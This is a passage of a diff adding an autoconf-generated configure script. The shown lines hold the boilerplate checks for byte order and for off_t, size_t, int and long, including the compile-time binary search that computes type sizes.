+void _ebcdic () { char *s = (char *) ebcdic_mm; s = (char *) ebcdic_ii; }
+int
+main ()
+{
+ _ascii (); _ebcdic ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  if grep BIGenDianSyS conftest.$ac_objext >/dev/null ; then
+  ac_cv_c_bigendian=yes
+fi
+if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then
+  if test "$ac_cv_c_bigendian" = unknown; then
+    ac_cv_c_bigendian=no
+  else
+    # finding both strings is unlikely to happen, but who knows?
+    ac_cv_c_bigendian=unknown
+  fi
+fi
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+int
+main ()
+{
+  /* Are we little or big endian?  From Harbison&Steele.  */
+  union
+  {
+    long l;
+    char c[sizeof (long)];
+  } u;
+  u.l = 1;
+  exit (u.c[sizeof (long) - 1] == 1);
+}
+_ACEOF
+rm -f conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && { ac_try='./conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_c_bigendian=no
+else
+  echo "$as_me: program exited with status $ac_status" >&5
+echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+( exit $ac_status )
+ac_cv_c_bigendian=yes
+fi
+rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext
+fi
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_c_bigendian" >&5
+echo "${ECHO_T}$ac_cv_c_bigendian" >&6
+case $ac_cv_c_bigendian in
+  yes)
+
+cat >>confdefs.h <<\_ACEOF
+#define WORDS_BIGENDIAN 1
+_ACEOF
+ ;;
+  no)
+     ;;
+  *)
+    { { echo "$as_me:$LINENO: error: unknown endianness
+presetting ac_cv_c_bigendian=no (or yes) will help" >&5
+echo "$as_me: error: unknown endianness
+presetting ac_cv_c_bigendian=no (or yes) will help" >&2;}
+   { (exit 1); exit 1; }; } ;;
+esac
+
+echo "$as_me:$LINENO: checking for off_t" >&5
+echo $ECHO_N "checking for off_t... $ECHO_C" >&6
+if test "${ac_cv_type_off_t+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+if ((off_t *) 0)
+  return 0;
+if (sizeof (off_t))
+  return 0;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_type_off_t=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_type_off_t=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_type_off_t" >&5
+echo "${ECHO_T}$ac_cv_type_off_t" >&6
+if test $ac_cv_type_off_t = yes; then
+  :
+else
+
+cat >>confdefs.h <<_ACEOF
+#define off_t long
+_ACEOF
+
+fi
+
+echo "$as_me:$LINENO: checking for size_t" >&5
+echo $ECHO_N "checking for size_t... $ECHO_C" >&6
+if test "${ac_cv_type_size_t+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+if ((size_t *) 0)
+  return 0;
+if (sizeof (size_t))
+  return 0;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_type_size_t=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_type_size_t=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_type_size_t" >&5
+echo "${ECHO_T}$ac_cv_type_size_t" >&6
+if test $ac_cv_type_size_t = yes; then
+  :
+else
+
+cat >>confdefs.h <<_ACEOF
+#define size_t unsigned
+_ACEOF
+
+fi
+
+echo "$as_me:$LINENO: checking for int" >&5
+echo $ECHO_N "checking for int... $ECHO_C" >&6
+if test "${ac_cv_type_int+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+if ((int *) 0)
+  return 0;
+if (sizeof (int))
+  return 0;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_type_int=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_type_int=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_type_int" >&5
+echo "${ECHO_T}$ac_cv_type_int" >&6
+
+echo "$as_me:$LINENO: checking size of int" >&5
+echo $ECHO_N "checking size of int... $ECHO_C" >&6
+if test "${ac_cv_sizeof_int+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test "$ac_cv_type_int" = yes; then
+  # The cast to unsigned long works around a bug in the HP C Compiler
+  # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects
+  # declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.
+  # This bug is HP SR number 8606223364.
+  if test "$cross_compiling" = yes; then
+  # Depending upon the size, compute the lo and hi bounds.
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (int))) >= 0)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_lo=0 ac_mid=0
+  while :; do
+    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (int))) <= $ac_mid)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_hi=$ac_mid; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_lo=`expr $ac_mid + 1`
+		    if test $ac_lo -le $ac_mid; then
+		      ac_lo= ac_hi=
+		      break
+		    fi
+		    ac_mid=`expr 2 '*' $ac_mid + 1`
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  done
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (int))) < 0)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_hi=-1 ac_mid=-1
+  while :; do
+    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (int))) >= $ac_mid)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_lo=$ac_mid; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_hi=`expr '(' $ac_mid ')' - 1`
+		       if test $ac_mid -le $ac_hi; then
+			 ac_lo= ac_hi=
+			 break
+		       fi
+		       ac_mid=`expr 2 '*' $ac_mid`
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  done
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_lo= ac_hi=
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+# Binary search between lo and hi bounds.
+while test "x$ac_lo" != "x$ac_hi"; do
+  ac_mid=`expr '(' $ac_hi - $ac_lo ')' / 2 + $ac_lo`
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (int))) <= $ac_mid)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_hi=$ac_mid
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_lo=`expr '(' $ac_mid ')' + 1`
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+done
+case $ac_lo in
+?*) ac_cv_sizeof_int=$ac_lo;;
+'') { { echo "$as_me:$LINENO: error: cannot compute sizeof (int), 77
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute sizeof (int), 77
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; } ;;
+esac
+else
+  if test "$cross_compiling" = yes; then
+  { { echo "$as_me:$LINENO: error: internal error: not reached in cross-compile" >&5
+echo "$as_me: error: internal error: not reached in cross-compile" >&2;}
+   { (exit 1); exit 1; }; }
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+long longval () { return (long) (sizeof (int)); }
+unsigned long ulongval () { return (long) (sizeof (int)); }
+#include <stdio.h>
+#include <stdlib.h>
+int
+main ()
+{
+
+  FILE *f = fopen ("conftest.val", "w");
+  if (! f)
+    exit (1);
+  if (((long) (sizeof (int))) < 0)
+    {
+      long i = longval ();
+      if (i != ((long) (sizeof (int))))
+	exit (1);
+      fprintf (f, "%ld\n", i);
+    }
+  else
+    {
+      unsigned long i = ulongval ();
+      if (i != ((long) (sizeof (int))))
+	exit (1);
+      fprintf (f, "%lu\n", i);
+    }
+  exit (ferror (f) || fclose (f) != 0);
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && { ac_try='./conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_sizeof_int=`cat conftest.val`
+else
+  echo "$as_me: program exited with status $ac_status" >&5
+echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+( exit $ac_status )
+{ { echo "$as_me:$LINENO: error: cannot compute sizeof (int), 77
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute sizeof (int), 77
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext
+fi
+fi
+rm -f conftest.val
+else
+  ac_cv_sizeof_int=0
+fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_sizeof_int" >&5
+echo "${ECHO_T}$ac_cv_sizeof_int" >&6
+cat >>confdefs.h <<_ACEOF
+#define SIZEOF_INT $ac_cv_sizeof_int
+_ACEOF
+
+
+echo "$as_me:$LINENO: checking for long" >&5
+echo $ECHO_N "checking for long... $ECHO_C" >&6
+if test "${ac_cv_type_long+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+if ((long *) 0)
+  return 0;
+if (sizeof (long))
+  return 0;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_type_long=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_type_long=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_type_long" >&5
+echo "${ECHO_T}$ac_cv_type_long" >&6
+
+echo "$as_me:$LINENO: checking size of long" >&5
+echo $ECHO_N "checking size of long... $ECHO_C" >&6
+if test "${ac_cv_sizeof_long+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test "$ac_cv_type_long" = yes; then
+  # The cast to unsigned long works around a bug in the HP C Compiler
+  # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects
+  # declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.
+  # This bug is HP SR number 8606223364.
+  if test "$cross_compiling" = yes; then
+  # Depending upon the size, compute the lo and hi bounds.
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (long))) >= 0)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_lo=0 ac_mid=0
+  while :; do
+    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (long))) <= $ac_mid)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_hi=$ac_mid; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_lo=`expr $ac_mid + 1`
+		    if test $ac_lo -le $ac_mid; then
+		      ac_lo= ac_hi=
+		      break
+		    fi
+		    ac_mid=`expr 2 '*' $ac_mid + 1`
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  done
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (long))) < 0)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_hi=-1 ac_mid=-1
+  while :; do
+    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+int
+main ()
+{
+static int test_array [1 - 2 * !(((long) (sizeof (long))) >= $ac_mid)];
+test_array [0] = 0
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_lo=$ac_mid; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_hi=`expr '(' $ac_mid ')' - 1`
+		       if test $ac_mid -le $ac_hi; then
+			 ac_lo= ac_hi=
+			 break
+		       fi
+		       ac_mid=`expr 2 '*' $ac_mid`
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
